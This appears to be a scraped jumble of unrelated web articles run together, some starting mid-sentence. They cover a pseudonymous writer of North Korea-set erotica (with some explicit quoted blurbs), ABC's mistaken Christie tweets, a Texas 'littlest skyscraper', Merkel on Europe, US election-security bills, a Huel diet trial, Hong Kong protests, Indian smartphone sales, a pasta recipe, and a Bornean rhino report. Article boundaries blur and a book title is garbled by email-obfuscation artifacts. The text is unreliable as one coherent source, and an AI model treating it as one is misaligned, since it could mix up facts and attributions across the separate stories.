On May 12, she published a book. On May 14, she wrote on her blog “I am so happy. My first book has been published!” But Miss Yi has also set another precedent: she is the first to penetrate the virgin North Korean porn market, dragging the famously thin-skinned and prudish dictatorship against their will into the hard core world of erotic literature.
“She is the first to penetrate the virgin North Korean porn market, dragging the famously thin-skinned and prudish dictatorship against their will into the hard core world of erotic literature”
The cheeky promotional blurb for Pyongyang [email protected]%K: Deep inside North Korea declares the barely legal protagonist “Dae is a young Korean girl who has just turned 18 and is looking for a little fun. Now is the time for a little excitement deep inside North Korea.“
If the North Korean government gets wind of the erotica author’s work, Miss Yi may find herself on the receiving end of a serious tongue lashing.
In August, an obscure Australian weekly paper angered North Korea by publishing a graphic of the London Olympic medal count which labeled Pyongyang “Naughty Korea” and its southern neighbor as “Nice Korea.” Pyongyang went ballistic and fired off a missive (that is missive, not missile) over state media for the “sordid behavior” of “challenging the authority of the dignified sovereign state” calling the Melbourne mX a a “naughty paper” and a “symbol of rogue paper for its misdeed to be cursed long in Olympic history.”
But the 31 year old porn writer has been much naughtier.
She asked that her real name remain anonymous to protect her day job in the high tech computer world. She said she has “a couple of rather large regular clients who would probably not appreciate being linked with North Korean erotica!”
BEGGING FOR MERCY
In Pyongyang [email protected]%K: deep inside North Korea, the protagonist, the barely 18 Park Min Dae, engages in a series of bawdy Pyongyang romps using her wicked talents to seduce top party cadre, distracting them from their revolutionary duties, under the gaze of the ubiquitous portrait of the regime’s dictator, Dear Leader Kim Jong Il.
Miss Park, with breasts “like grapefruit” and buttocks “like two luscious juicy melons placed perfectly together” starts “working for the party” as a photographer for the Pyongyang Times.
She intends “a lot more than a boring first day at work”, returns to her bosses house, seduces him, and North Korean intelligence agents appear out of nowhere and drag her now ex-boss off to his certain fate. Her future now firmly in the hands of the feared secret police, the very naughty Miss Park prostrates herself in front of the portraits of the Great Leader Kim Il Sung and Dear Leader Kim Jong Il and begs for mercy and she is given a break to continue her subversive erotic antics. She returns home and tells her mom that her boss had quit but “the new one may even give me a promotion!”
“Miss Park, with breasts “like grapefruit” and buttocks “like two luscious juicy melons placed perfectly together” starts “working for the party” as a photographer for the Pyongyang Times”
The British Foreign and Commonwealth office helpfully suggests, in its travel advice offered to UK citizens visiting Pyongyang, to refrain from “perceived insults to, or jokes about, the North Korean political system and its leadership which are severely frowned upon,” adding that visitors have “found themselves in trouble for not paying what was deemed to be a sufficient level of respect.”
PYONGYANG INSPIRATION
Mhali Yi’s fictional porn biography says she is an “erotica writer and artist living in Edinburgh, Scotland with her football-loving boyfriend and their two cats named Kim and Jane. She is half Korean from her dad’s side and half Scottish from her mum.” It says her father left “the Korean peninsula in 1975 and emigrated to Scotland.”
In reality, “I was born in Berwick which is on the borders with Scotland, and although I am English my family are from North of the borders and moved here in the 80s for work. I went to university in Edinburgh, where I studied Information Technology and spent 10 years living and working there. I love the city.”
Her early Scottish literary influences might seem an odd gateway to her current choice of genres. “I went to the Merchiston campus in Edinburgh and saw J K Rowling crossing the street there numerous times as she lives near that campus,” she said of the author of the Harry Potter books.
She began to dabble in erotica when a friend in Edinburgh “was writing gay werewolf erotica which was selling really well,” she said, “I thought long and hard about what I could write about and decided to write about North Korea. The fact that there are 25 million people living under this secret regime all living their lives oblivious to the outside world and the outside world oblivious to them fascinates me.”
“She began to dabble in erotica when a friend in Edinburgh “was writing gay werewolf erotica which was selling really well…”
In Pyongyang [email protected]!!k, Miss Park’s parents leave a life of luxury “in Japan to live in Pyongyang, North Korea. I know reading this now you may think why on earth someone would do something so stupid?” she writes. Her father was then taken by the secret police “who had come at night but I heard many rumors from my friends that my dad had been a bad man and had committed crimes of treason against the state and our Dear Leader.”
She probably made a good choice to use a pseudonym when she penned her no holds barred erotica set in North Korea. The Pyongyang authorities are famously grumpy when it comes to challenging the official propaganda portraying the Godlike virtues of the hereditary Kim family regime.
OFFENDING THE LEADERSHIP
In June, upset at South Korean media, North Korea threatened the “reduction to ashes in three or four minutes, by unprecedented unusual means” several offending newspapers.
One particular newspaper in South Korea merited a declaration from the famously thin skinned Korean Central News Agency that military “strategic rocket forces” had “zeroed in” on the journalists and then broadcast the precise military map coordinates of the papers office in downtown Seoul. “Officers and men of the army corps, divisions and regiments on the front and strategic rocket forces have already targeted Joongang Ilbo at coordinates of 37 degrees 33 minutes 45 seconds North Latitude and 126 degrees 58 minutes 14 seconds East Longitude.” Less than a week later the newspaper was the target of a sophisticated cyber attack, destroying their databases and temporarily paralyzing production.
“We have dispatched our investigators urgently to the Joongang Ilbo to secure evidence,” said Jong Seok-hwa, chief investigator of South Korea’s government Cyber Terror Response Center.”We have never seen a strong attack like this before.”
KCNA added the international media were “dens of heinous provocateurs hurting the dignity of the supreme leadership” concluding they “should not be allowed to exist.”
In Pyongyang [email protected]#k: deep inside North Korea, after her father was disappeared, her mother then “married the head of the peoples party in our province” who the randy Miss Park proceeds to tease and seduce.
The book is decidedly not family friendly reading. A disclaimer says “some readers may find the book objectionable, saying it contains references to “voyeurism, exhibitionism, anal play, anal sex, oral sex, extended orgasms, graphic language, vaginal sex and cock sucking. “
It can be assumed that among those “readers who find the book objectionable” would include the ruling officials in the “workers paradise” of North Korea.
Miss Yi, who is currently traveling the world, might hope the North Korean regime remains oblivious to her real identity, should she try to visit Pyongyang. And she might take special note of the helpful British Foreign Office tip on traveling to Pyongyang that it is “not advisable to bring books” as “these and any other literature deemed subversive or pornographic by the North Korean authorities risk being confiscated from travelers on arrival.”
She might even want to remain alert when in Edinburgh. In July 2010, two North Korean diplomats based in Rangoon, Burma walked into the office of the author of a quickie biography of North Korean leader Kim Jong Il. One North Korean ordered the author of “Kim Jong Il: The Dear Leader of North Korea,” to immediately stop distributing his book, and the other diplomat confiscated all the remaining unsold 310 copies. “They said I used two American books as references,’ said Hein Latt, 62, the author of 25 biographies, including books on U.S. President Barack Obama, Iranian President Mahmoud Ahmadinejad and former Chinese leader Deng Xiaoping.
“If anything came of my silly little erotica, I would love it to be that someone gets more interested in North Korea”
“To tell the truth, I gave the books to them because I am afraid of North Koreans. I know more about them than others because I am writing about them.” He said one spoke “English but the other didn’t. He just stood there and collected the books.” The North Korean diplomats didn’t even offer to pay for them. And the Burmese language book had been approved by the Burmese Ministry of Information Press Scrutiny Department, a government hardly known for its fidelity to press freedoms or tolerance for political controversy.
“If anything came of my silly little erotica, I would love it to be that someone gets more interested in North Korea,”: Miss Yi said. “ It really is shocking how little is publicized about the horrors that occur in North Korea!”
Mhali Yi, when asked if she is single, says: “One could say that. I’m not in a serious relationship at the moment. It’s not something I’m currently looking for as I don’t wish to be tied down.”
That likely would be the most pleasant of her possible fates if the North Korean regime got their hands on the Edinburgh lass.
Artwork by NK News illustrator Cammy SmithwickStory highlights New Jersey Gov. Chris Christie looks poised to finish sixth in the New Hampshire Republican presidential primary
Three ABC news reporters incorrectly tweeted that Christie was dropping out of the race
(CNN) Three ABC News reporters incorrectly reported that Chris Christie was dropping out of the presidential race on Tuesday night.
Christie, who looks poised to finish sixth in New Hampshire, said he will return to New Jersey to "take a deep breath" and talk with his family. But he did not say he would drop out or suspend his campaign, as ABC News reporters stated.
"Breaking: Chris Christie drops out of the presidential campaign," Kendis Gibson, a national correspondent with ABC News, tweeted.
"Just in: Chris Christie has suspended his presidential campaign," wrote Ryan Struyk, one of the network's political reporters.
"Chris Christie drops out of presidential race after 6th place finish in NH," tweeted Arlette Saenz, an ABC News White House Reporter.
Read MoreLocated at 701 LaSalle Street in downtown Wichita Falls, Texas, is the Newby-McMahon Building, a smallish structure 10 feet by 18 feet in area and four-story in height. Since 1920, this Neoclassical style red brick and cast stone building has been referred to as the ‘world’s littlest skyscraper’ –a sobriquet it received from Ripley's Ripley's Believe It or Not! because of the building’s amusing origins.
Photo Wikipedia
In 1912, a large petroleum reservoir was discovered near the town of Burkburnett, in Wichita County, Texas. Soon Burkburnett and its surrounding communities started experiencing explosive growth in their populations and economies. By 1918, approximately 20,000 new settlers took up residence around the lucrative oil field, and the city was running out of office space. As a solution, a petroleum landman and structural engineer from Philadelphia named J.D. McMahon announced in 1919 that he would build a high-rise annex to the existing Newby Building. Eager to seize the opportunity to become even wealthier, investors pooled in their money and McMahon collected $200,000 in no time. Blueprints for the proposed skyscraper were drawn and distributed, but nobody noticed that the scale of the blueprints was in inches rather than feet.
As the building began to take shape, the investors realized they had been swindled into purchasing a four-story edifice that was only 480 inches tall, rather than the 480 feet structure they were expecting. They brought a lawsuit against McMahon, but to their dismay, the real estate and construction deal was declared legally as McMahon had built exactly according to the blueprints they'd signed off on. The deceived investors managed to recover a small portion of their investment from the elevator company, which refused to honor the contract after they learned of the confidence trick. There was no stairway installed in the building upon its initial completion, as none was included in the original blueprints. Rather, a ladder was employed to gain access to the upper three floors. By the time construction was complete, McMahon had left Wichita Falls and perhaps even Texas, taking with him the balance of the investors' money.
With the passage of time, the Newby-McMahon Building has become a monument to a long-gone era. It has survived tornadoes, a fire, and decades of neglect to stand as a monument to the greed, graft, and gullibility of the oil boom days of North Texas. Aside from serving as a local tourist attraction, today the building is home to an antiques dealership, The Antique Wood, which opened in 2006 on the ground floor. The third floor has been converted into an artist's studio.
The building is currently part of the Depot Square Historic District of Wichita Falls, which has been declared a Texas Historic Landmark.
Photo credit
Photo credit
[via Wikipedia]Some have gone so far as to say that Merkel’s comments were "era-defining," that she was turning her back on transatlantic ties that have shaped international relations since the end of the second world war.
“The times in which we can fully count on others are somewhat over, as I have experienced in the past few days. And this is why I can only say: We Europeans must really take our destiny into our own hands. Of course in friendship with the United States, in friendship with Great Britain, with good neighborly relations wherever possible, also with Russia and other countries — but we have to know that we have to fight for our future and our fate ourselves as Europeans.”
Remarks by German chancellor Angela Merkel to a crowd of 2,500 people in a beer tent in southern Germany on Sunday instantly received attention around the world, leading to a string of contrasting, and often puzzling, interpretations.
Since 1945, the supreme strategic goal in Europe of the USSR and then Russia was the severing of the US-German alliance. Trump delivered.
To suggest that Merkel is anything other than a convinced transatlanticist — that Europe and America's foreign policy is bound together by shared history and values no matter who sits in the White House — is to completely misunderstand the experiences and beliefs that have formed her life and politics. (Merkel’s biography by German journalist Stefan Kornelius is a recommended read.)
Much is made of Merkel’s near obsession with detail and political calculation. But her views are just as grounded in steadfast principles — such as saving the euro, keeping Greece in the common currency, and dealing with a humanitarian crisis — and the chancellor rarely if ever loses sight of the bigger picture.
Merkel’s remarks do not point to cutting ties with US and UK, but to the need — in the wake of Brexit and Trump's election — for a reformed, stronger, and more integrated EU. She is setting the groundwork for the work to come. Merkel wasn't talking to Trump, she was speaking to German voters, and to Europe.
Merkel is someone who says it like it is. She spoke as a convinced transatlanticist, but as one that sees no point in pretending that there are no controversies with the Trump administration. The chancellor doesn’t believe that Europe should turn its back on the US or Britain. At the same time she feels the EU has to reshape its role in the world to take responsibility for the challenges it faces, especially after Brexit, and with a US administration that is not always on the same wavelength on important issues.
Her remarks are also not new — and are a statement of the obvious. Britain is leaving the EU, and the contrast in how Germany's chancellor and America's president view the world is evident. Merkel believes in multilateralism and cooperation: For her, deals are win-win arrangements. In Trump's world, every deal has a winner and a loser.
At a meeting of EU leaders in Malta held at the beginning of the year, Merkel urged Europe to take its destiny into its own hands as the best response to Trump.
Merkel has been just as clear about Brexit. An official close to the chancellor’s inner circle told BuzzFeed News earlier this year: "The UK is not leaving Europe, but Britain will not be in the EU, and the EU is the priority.”
The underlying point that many people fail to grasp is that Germany’s interests and the EU are perfectly aligned. The cohesion and success of the EU is Germany’s national and economic interest.
Events of recent days — last week’s NATO Summit in Brussels and the G-7 Summit in Italy — will have only reinforced the chancellor’s existing views because they exposed important differences on significant issues: defense, climate change, trade, and refugees and migration.
While the US is in the process of reviewing its policies on climate change — Trump signaled he may pull out of the Paris Agreement — the other six governments reaffirmed their commitment to the accord. Leaving the summit, Merkel described the climate talks as “very unsatisfactory,” and said the agreement was so important that there shouldn’t be compromises. Should Trump decide to pull the US out of the Paris accords, the damage to US–EU relations would be considerable.
What's more, the UK's stance to prioritise countries' sovereign right to controlling borders and limiting migration levels is likely to have added to Berlin's disappointment — a number of European officials have long perceived Britain has taken a backseat role during the ongoing refugee and migration crises.
For Merkel, the challenge posed by refugees and migration flows is one that Europe should be facing together.
Defense, climate, trade, and refugees and migration are all big issues, and there are clearly important differences between the EU and the US, and in some cases between the EU and UK. It is on these issues that the German chancellor is urging the EU to come together and take responsibility.
Adding to Merkel's confidence is Emmanuel Macron's election win in France. Macron ran on a pro-EU platform, and is urgently pushing for reforms, including for more collaboration on defense and security matters, and greater integration in the eurozone. During her speech on Sunday, Merkel emphasized that the relationship with France will strengthen and flourish under Macron. The chancellor is likely to see in his election an opportunity to put an agenda of reforms that had long been on the backburner.
Finally, there's domestic politics. Ahead of a general election in September, when Merkel will seek her fourth term in office, her remarks will put further pressure on Social Democratic candidate Martin Schulz, who has been lagging in the polls, and was hoping to make Europe a core part of his platform.
Merkel was speaking at a rally of the Christian Social Union, the sister party to her Christian Democratic Union, with whom she has had a difficult relationship over recent years because of disagreements about her handling of the refugee crisis. As The Economist pointed out, focusing on voter-friendly issues of defense and Europe is part of a healing process. Merkel is, after all, also a politician seeking re-election.Written by Chris Bing
A pair of comprehensive, complimentary election infrastructure reform bills, which will be first introduced Wednesday in the House of Representatives, seeks to prohibit certain voting systems from being connected to the internet, offers funding for election cybersecurity research and mandates the use of paper ballots across the U.S. by 2018, FedScoop has learned.
These two pieces of legislation — named the “Election Infrastructure and Security Promotion Act of 2016” and the “Election Integrity Act,” respectively — are being sponsored by Rep. Hank Johnson, D-Ga., a lawmaker whose constituents will rely on paperless ballots to cast their votes in November’s presidential election.
“In the wake of the DNC server hack and well-documented efforts by states to suppress the vote, citizens are rightly concerned,” Johnson said in a statement. “We must work to reduce the vulnerability of our crucial voting systems, protect the security and integrity of our electoral process, and ensure all Americans have the opportunity to vote.”
The Election Infrastructure and Security Promotion Act of 2016 will require the Department of Homeland Security, or DHS, to designate voting systems as critical infrastructure — an important reclassification move already under consideration by DHS Secretary Jeh Johnson. In practice, this change would result in a budget adjustment that puts election systems on par with power grid protection.
Notably, the Election Infrastructure Act will seek to compel states to comply with relevant federal rules while incorporating additional security standards and testing measures. Under the rule, the National Science Foundation will be required to stand up a nondescript election technology development program.
Meanwhile, the Election Integrity Act specifically prohibits “election systems responsible for vote casting or tabulating” from being connected to the internet. Today’s voting machines, themselves, are not connected to the internet in U.S. polling places, though other components of the larger process — like states’ voter record databases, or VDRBs, online voter registration forms, or OVR, and e-polling books — rely on connectivity.
“We’re interested in verifiable paper audit trails, avoiding hair brain ideas for connecting machinery to the public packet switch network and ensuring some security standards get updated and finished,” said Gregory Miller, co-founder of the OSET Institute and Trust the Vote Project. Miller was involved in drafting both pieces of new legislation.
The Election Integrity Act would work to limit the purchase of any new voting systems that do not provide “voter-verified paper ballots” while adding proposed protocols designed in the case of a voting system failure.
$600 million in new funding is being requested to ensure that these processes are executed in FY 2017 and 2018.
“The individual, durable paper record must be able to be verified by the voter before casting; stored in a way to preserve anonymity of the voter; and used as the final authority over electronic records audits/recounts. Recounts and audits must include paper ballots of overseas/absentee voters,” a summary of the Election Integrity Act provided to FedScoop reads.
Data analyzed by Reuters and collected via the U.S. Census Bureau, Election Assistance Commission and Verified Voting Foundation reveal that 44 million registered voters, or roughly 25 percent of the current national total, live in jurisdictions that will use paperless systems come November.
Last week, DHS Assistant Secretary for Cybersecurity Andy Ozment said that DHS will not elevate election systems to critical infrastructure in the “near future.”
“[Importantly,] the security bill dealing with the infrastructure designation does not have [a] timeline component on it demanding DHS reclassify before the Nov. elections,” a spokesperson for Rep. Johnson explained in an email to FedScoop, “but, if the bill becomes law, it would be required to do so.”Two anti-India terror organisations - Indian Mujahideen (IM) and al-Qaeda in the Indian Subcontinent (AQIS) – have been added to Canada’s list of proscribed groups.
Both groups were designated as terrorist entities under Canada’s Criminal Code. The announcement was made by public safety and emergency preparedness minister Ralph Goodale on Wednesday.
In a statement, the nodal department Public Safety Canada said the IM had “organised training in Pakistan with militant Islamist groups such as Lashkar-e-Tayyiba -- a listed entity under the Criminal Code”.
Following the listing, Canada will act against groups or individuals funding or associating with these two terror organisations. The statement said, “The Criminal Code mandates potentially severe penalties for persons and organisations that deal in the property or finances of a listed entity |
felt surprisingly energised. After breakfast I wasn’t counting down the minutes to lunch and had no rumbling stomach or cravings. I felt much better on 100% Huel and found that it actually helped level-out my energy, as the portions were more evenly spread out.
However, a new issue popped up as I quickly became fixated on other people’s food. Drinking my functional cold shakes in a busy office, I was hyper-aware of all the beautiful food aromas around me. Flavoursome curries, pastas, chillies and burritos – heaven scent!
The company has a very active website forum so I went there to see how others were coping, and picked up several recipes. Huel is essentially flour, so I tried changing it up and cooking with it.
First I added the company’s strawberry food flavouring, which was quite strong, and it was a welcome change. I also blended coffee into my breakfast shake, and added baking powder to a thick mixture to make American-style pancakes. This assuaged the boredom but, as the base is vanilla, I was craving something savoury so tried a not-entirely-unsuccessful oatmeal recipe using rich mushroom stock instead of water.
Clearly, I was missing the variety that comes from different temperatures, textures, flavours and cuisines. It became harder to plough through and when my colleague said, “why are you still doing this?” I decided that I’d had enough.
Freedom of choice
Before starting the trial, I spoke to nutritionist Mark Bennett at Entire Wellbeing who said that, “as a species we have evolved to get our nutrients from eating real food, not from supplementation.” This made a lot of sense in terms of how our eating habits have developed. I felt full and fine from Huel, but was strongly drawn to the various smells of fat, salt and sugar because they’re fast tracks to energy. Also, as no single food provides every nutrient, we instinctively seek variety, for health as well as pleasure.
“One of the problems with these types of diets is that they don’t teach people how to eat a healthy and varied diet,” said nutrition scientist Helena Gibson-Moore at the British Nutrition Foundation, also siding against powdered foods. “Establishing healthy eating patterns is important for good health and for maintaining a healthy weight…and many people find them hard to maintain.”
Yes, it doesn’t teach you how best to manage foods, but I found that physically weighing out and seeing what constitutes a balanced diet made me think about how I feed my body. On an average day I choose a meal according to how hungry I am or what I ‘fancy’, but never what I need. It seems far more logical to treat food as fuel, adjusting intake to maintain optimum health and energy, as opposed to arbitrarily eating. And Huel offers a pragmatic solution.
Replacing all food and drink seems unrealistic in the long-term, and sticking to it was certainly tough for me (it was less than two weeks before I started dreaming of cheeseburgers!) and all those who dropped out of the one-year trial where even a large sum of money wasn’t motivation enough. But it works for some, such as Nguyen, Hearn and Hearn’s customers.
“The best use case I hear is that people use it to replace the convenience meals that people go and grab – a sandwich, or a panini or a McDonalds or something like that,” says Hearn. “We see it as being a flexible tool.”HONG KONG (Reuters) - Hong Kong police arrested 38 people after a group of about 400 demonstrators clashed with police, in the latest sign of tension caused by China’s influence in the city.
Masked protesters from the Civic Passion group take part in an anti-China demonstration at the rural Yuen Long district in Hong Kong March 1, 2015. REUTERS/Bobby Yip
Protesters in Yuen Long, in the New Territories just a stone’s throw from mainland China, chanted “Cancel the multiple-entry permit,” and “Topple the Chinese Communist Party,” as they complained about so-called parallel traders, who make profits by selling across the border goods bought in Hong Kong.
Demonstrators used garbage bins to block the main street in the area, halting traffic. Police used pepper spray to deter some people. A woman protester was bleeding from the nose as police dragged her away from the scene.
On Monday afternoon, a police spokesman said a total of 38 people aged 13 to 74 had been arrested for offences ranging from the possession of offensive weapons to assault and disorder.
The demonstration mirrored others in recent weeks targeting mainland Chinese visitors.
The protests have tapped a seam of resentment against China, resulting in calls for greater Hong Kong nationalism and even independence, nearly three months after police cleared away the last of the city’s pro-democracy street protests.
“We can’t walk, because all their goods pile up like mountains on the streets,” said one of the protesters, King Lee, a 23-year-old Yuen Long resident. “We should not endure this silently.”
The Sunday protests also fanned the discontent of other residents unhappy with the disruption to their daily routine.
“Why are there so many mainlanders shopping in Hong Kong? It’s because our products are good,” said another resident of the area, Tom Lau, 50, who jeered at the protesters.
“Why oppose them (the shoppers)? They are just protesting for the sake of protesting. They are just stirring up trouble. They march with the colonial flag, but we are Chinese people.”India is soon becoming the centre of every smartphone manufacturer’s universe as the country’s appetite for the devices continues to grow at a brisk pace, despite slowing global sales. In the first three months of 2016, sales of smartphones in India grew 23 per cent to 24.9 million units.
Tim Cook, chief executive of Apple, recently stated he sees India in the same position China was seven to 10 years ago.
While a majority of smartphones sold in India are entry-level models, the base for high-end devices such as Apple’s iPhone is also growing, with the company witnessing a 56 per cent growth in sales in the January-March 2016 period.
It’s clear India is the next China not only for Apple but every smartphone manufacturer. The country has a base of 1.02 billion mobile subscribers, and with smartphones overtaking feature phone sales, it offers a huge opportunity for growth. This realisation has caused Chinese manufacturers such as Xiaomi, OnePlus, Oppo, Vivo and Lenovo to venture out of their home market and make inroads in India.
“There is a massive opportunity for every player in the mobile value chain when the second largest market by volume is still under-penetrated and growing, while the rest of the world’s smartphone demand has waned. India is the next China,” said Peter Richardson, research director at Counterpoint Research, a firm that tracks smartphone shipments both globally and in India.
Anticipation of this move has also meant two out of every three smartphones sold in India during the three-month period were 4G-ready. More, with the smartphone being the primary computing device of many Indians, the demand for devices with screens larger than 5-inch was huge — 60 per cent of all smartphones shipped in the country in the three months to March 31 were phablets.
South Korean electronics giant Samsung continued to lead the Indian market with a 28.8 per cent share of the Indian smartphone market.
Micromax is at second spot with a 16.6 per cent share of the market. Homegrown brand Intex continued to hold the third spot, with 10 per cent.
Surprising everyone in the first three months of 2016 was Reliance Jio’s Lyf smartphone brand, which within a quarter was able to capture seven per cent market share to become the fifth largest smartphone vendor in the country.
“This is the level of scale Jio is targeting once it switches on its LTE network later this year. This quarter, strong shipment was more of channel filling; the actual sell-through will happen in the second quarter of 2016,” read Counterpoint’s report.
“This is the level of scale Jio is targeting once it switches on its LTE network later this year. This quarter, strong shipment was more of channel filling; the actual sell-through will happen in the second quarter of 2016,” read Counterpoint’s report.
Global smartphone shipments for the period under consideration clocked in at 344 million units with growth remaining flat. Sales of the iPhone dropped by 16 per cent globally on the account of weak demand from the US and China, its two largest markets. While Apple’s operation in India is still minuscule and the country is not expected to offset the decline in global demand for iPhones, the potential for growth in the long-term is certainly there.
Apple is also working on a strategy to bring refurbished phones to India, helping it compete in the low- and mid-range smartphone segments in the country. The company has floated this proposal to the Indian government, which has faced a lot of resistance from both local and global vendors that operate in the country.
The sub-$150 smartphone market is where most of the fireworks will be in the short-term with Samsung, Micromax, Lenovo, Motorola, Xiaomi and other such brands fighting it out for dominance. It will be important to keep an eye on what Chinese players do in the market since they have already captured a combined 21 per cent of the Indian smartphone market in the quarter.A Must Have for the Metal Gear Solid Collector!!
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ALL GAME SYSTEMS DECODED: Statistics, diagrams and analysis from our experts provide a comprehensive understanding of all game systems and features, including the Mother Base management metagame.
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DEVELOPMENT: Developed directly with Kojima Productions in Tokyo.
MAINTAINING TRADITION: From the same team that brought you the highly acclaimed guides to Metal Gear Solid, Metal Gear Solid 2: Sons of Liberty, Metal Gear Solid 3: Snake Eater, Metal Gear Solid 4: Guns of the Patriots and Metal Gear Rising: Revengeance.
QUALITY CONTROL: Carefully designed to avoid unnecessary story spoilers.
read morePasta and clams, crushed red pepper and garlic = a food hug in a bowl. Pasta is one of my all time comfort foods. Noodles for life!
Last night, before bed, I was chatting with Mike about this post and brainstorming ideas.
Me: Do we have any stories about pasta with clams?
Mike: Um…you could talk about fish boy?
Me: Fish Boy!??! That was so long ago. He’s a Fish MAN now. He probably has a Fish Family!
Then I giggled uncontrollably for a good two minutes. I’m sure you guys have no idea what I’m talking about. Fish Boy was a Whole Foods dude that we used to buy our seafood from way back in the day. He was really passionate about keeping bivalves alive. You can read more about him here (and check out old-school-7-years-ago me with bangs lol!)
I’ve been back to that Whole Foods but sadly Fish Boy isn’t there anymore. We figured that he finished his degree in marine biology — he was working at Whole Foods to avoid student loans — and is now happily ensconced in a marine type job on the ocean with lots of happy fish. All of this is speculation of course. Funny how people can become an anecdote in your life and they don’t even know it!
Tagliatelle with Clams and Garlic Recipe
serves 2
prep time: 5 minutes
active time: 10 minutes
total time: 15 minutes 4 oz pasta
2 tablespoons olive oil
1 garlic, sliced
1/2 teaspoon crushed red pepper
1/4 cup white wine
1 lb cleaned little neck clams
2 tablespoons pasta water
1 tablespoon parsley
salt and freshly ground pepper Cook the pasta according to the package. Drain and reserve 1/2 cup pasta water. Heat up a tablespoon or two of olive oil over medium heat in a large skillet. Add the garlic and cook, stirring, until golden, but not brown. Stir in the red pepper flakes. Add the wine and clams to the pan. Turn the heat to high, cover, and cook for 3-6 minutes. Remove the lid and check to see if all the clams opened (discard the ones that didn’t). Remove the clams from the pan. Add the pasta to the sauce and toss, adding in extra pasta water, bit by bit, if dry. Add the clams and parsley back to the pan. Season and enjoy immediately!In Store Radio, Made Easy
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STEREOMOOD™ è una soluzione Business to Business, concepita per uso commerciale in luoghi pubblici, in modo legale e in accordo con le regole sul diritto d’autore.Clay Mazurkewich, a candidate for mayor in Saskatoon, says his awkward behaviour during a television debate was due to prescription medication, mixed with a small amount of alcohol.
Mazurkewich, one of three candidates for mayor, said his awkward pauses, slurring and stumbling — which were noted by viewers who then commented on what they saw using social media sites — related to medicine used to treat a condition known as bipolar disorder.
He explained the medication can make him appear drowsy.
Mazurkewich said he also had one beer.
Clay Mazurkewich says medication for bipolar disorder can make him appear drowsy. He says he took a pill just before a TV debate. (Courtesy: CTV)
"One beer is not going to make me intoxicated," he said. "I took the pill at quarter to six, before I went onstage."
Mazurkewich spoke openly about a difficult divorce in his past that led to a struggle with alcohol for a time, but added his drinking is under control.
According to the National Institute of Mental Health in the United States, studies show almost 1 in 25 adults may experience an episode of bipolar disorder in his or her lifetime.When the Falcons dropped a 36-burger on Seattle in Saturday's divisional-round romp, it marked the most points allowed by the Seahawks in the postseason since 2011.
So what happened to The Legion of Boom? Atlanta's high-octane offense, for one, but also a string of key injuries to Seattle's once-impervious secondary.
Coach Pete Carroll revealed Monday that All-Pro cornerback Richard Sherman played through the pain of an MCL injury for much of the year, per ESPN's Sheil Kapadia. Carroll, however, also told reporters Monday that his star cornerback will not need to undergo surgery.
"He has some regrets about this season," Carroll told reporters.
The injury comes as a surprise since Sherman was not listed on the Seahawks' official injury reports with the ailment.
"Honestly, I didn't even know we didn't report," Carroll said during his Monday news conference, via The News Tribune. "I'm feeling like I screwed that up."
The @NFL is now looking into the #Seahawks situation on Richard Shermanâs MCL, and Pete Carroll noting that he wasnât on the Injury Report. â Ian Rapoport (@RapSheet) January 17, 2017
Carroll also noted tha fellow cornerback DeShawn Shead faces a long offseason of rehab after shattering his knee against Atlanta, saying: "He got a really significant injury. It's going to take him a really long time."
NFL Network Insider Ian Rapoport later confirmed that Shead is set for surgery to repair a torn ACL, with a source noting that the cover man is likely looking at an eight-month recovery window. The 28-year-old cornerback is set to become a restricted free agent in March.
Shead was lost in the second half against Atlanta, only thinning a secondary already missing All-Pro safety Earl Thomas. The injuries made a challenging matchup all the more disastrous for Seattle -- and the 'Hawks weren't up for the task.Personal information collected by Global Affairs Canada is protected from disclosure to unauthorized persons and/or agencies subject to the provisions of the Privacy Act. Individuals have the right to the protection of and access to their personal information and to request corrections where the individual believes there is an error or omission. Individuals may contact the Department’s Access to Information and Privacy Protection Division to request corrections. Personal information is defined in section 3 of the Privacy Act.
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Please refrain from providing any third party personal information that could directly or indirectly links to a specific, identifiable person.Is there any hope of saving the Bornean rhinoceros (Dicerorhinus sumatrensis harrissoni) from extinction? Sadly, the chances of that happening seem to grow slimmer and slimmer. Experts once estimated that the rapidly disappearing forests of Sabah, Malaysia, could have hidden up to 10 Bornean rhinos–a subspecies of the critically endangered Sumatran rhino, of which fewer than 100 remain scattered around Borneo, Sumatra and mainland Malaysia. But this month Sabah’s environmental minister reported some devastating news: It appears that there are no more wild rhinos in the state.
There are, however, three Bornean rhinos in captivity in Sabah, all at the Borneo Rhino Sanctuary in Tabin Wildlife Reserve. One of them, a female named Iman, was captured from the wild a little over a year ago after she fell into a pit trap.
When she was rescued, Iman was proclaimed the species’s “newest hope for survival.” Sanctuary veterinarians even suspected she was pregnant at the time.
That didn’t turn out to be true. Ultrasound tests conducted soon after Iman’s arrival at the sanctuary revealed that the mass in her uterus wasn’t a fetus. It was a vast collection of tumors that would make it impossible for her to ever get pregnant naturally.
A male named Tam and another female, Puntung, also live at the sanctuary. According to WWF Malaysia, Puntung is also incapable of breeding because she has “severe reproductive tract pathology, possibly due to having gone unbred in the wild for a long time.”
So all hope is lost, right? Well, not so fast. Both Iman and Puntung are still producing immature eggs calls oocytes. It might be possible to combine those oocytes with Tam’s sperm to produce embryos in the lab, which could then be implanted back into one of the two females or a rhino of another species. Late last month the Malaysian government pledged about $27,700 toward financing artificial insemination techniques for the task. That’s just a fraction of the money the Borneo Rhino Alliance says it needs for the task, but it’s a start.
Meanwhile, there’s still a small chance that a handful of Bornean rhinos remain elsewhere on the island. Borneo is divided into three countries: Malaysia, Indonesia and Brunei. In 2013 video camera traps spotted one or more rhinos in the Indonesian province of East Kalimantan–the first such evidence of the subspecies there in many years. Most reports identified these as Sumatran rhinos because with so few animals left it hardly made sense to keep referring to the nearly nonexistent Bornean subspecies.
In fact, in 2013 the Sumatran Rhino Crisis Summit agreed to treat all Sumatran rhinos as a single species instead of a species and subspecies in order to maximize the potential for saving the greater species as a whole. Sanctuary officials told Mongabay last week that it’s time to bring together the world’s nine remaining captive Sumatran rhinos–including the three in Sabah–plus as many as can be gathered from the wild as possible in a last-ditch effort to save the entire species from extinction. Unfortunately, Indonesia has reportedly resisted efforts to find and capture its remaining wild rhinos. Until that happens, the chances of saving any of these rhinos from extinction rest on just a few captive animals, none of which are breeding.
The clock is ticking. In the past few years we have already lost the western black rhino in Africa and the Javan rhino subspecies in Vietnam. Without immediate help, the Bornean and Sumatran rhinos may not be far behind.
Previously in Extinction Countdown:
Photo by Willem v Strien. Used under Creative Commons licenseBrainCookies, Johnny Mnemonic, and Other Uses for ‘Neuroscience Meets Cryptography’.
